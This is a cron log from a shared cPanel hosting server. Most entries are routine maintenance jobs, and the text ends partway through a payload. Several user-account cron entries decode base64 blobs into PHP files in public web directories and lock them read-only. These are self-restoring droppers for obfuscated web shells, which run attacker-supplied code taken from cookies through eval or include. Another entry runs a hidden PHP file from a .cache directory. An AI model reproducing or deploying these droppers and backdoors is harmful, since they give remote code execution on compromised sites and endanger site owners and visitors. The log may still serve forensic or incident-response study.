Mar  1 18:09:02 medusa CROND[8589]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:09:02 medusa CROND[8592]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:09:02 medusa CROND[8590]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 18:10:01 medusa CROND[695]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 18:10:01 medusa CROND[709]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 18:10:01 medusa CROND[711]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 18:10:01 medusa CROND[715]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 18:10:01 medusa CROND[721]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 18:10:02 medusa CROND[813]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 18:10:02 medusa CROND[869]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 18:10:02 medusa CROND[891]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 18:10:02 medusa CROND[892]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 18:10:02 medusa CROND[893]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 18:10:02 medusa CROND[896]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 18:10:02 medusa CROND[897]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 18:10:02 medusa CROND[899]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 18:10:02 medusa CROND[903]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 18:10:02 medusa CROND[898]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 18:10:02 medusa CROND[905]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 18:10:02 medusa CROND[906]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 18:10:02 medusa CROND[907]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:10:02 medusa CROND[908]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:10:02 medusa CROND[910]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 18:10:02 medusa CROND[915]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:10:02 medusa CROND[916]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:10:02 medusa CROND[902]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 18:10:02 medusa CROND[918]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 18:10:02 medusa CROND[929]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 18:10:02 medusa CROND[931]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 18:10:02 medusa CROND[940]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 18:10:02 medusa CROND[967]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 18:11:01 medusa CROND[24598]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 18:11:01 medusa CROND[24599]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 18:11:01 medusa CROND[24600]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 18:11:01 medusa CROND[24602]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 18:11:01 medusa CROND[24603]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 18:11:01 medusa CROND[24604]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 18:11:01 medusa CROND[24608]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 18:11:01 medusa CROND[24612]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 18:11:01 medusa CROND[24613]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:11:01 medusa CROND[24616]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:11:01 medusa CROND[24617]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dB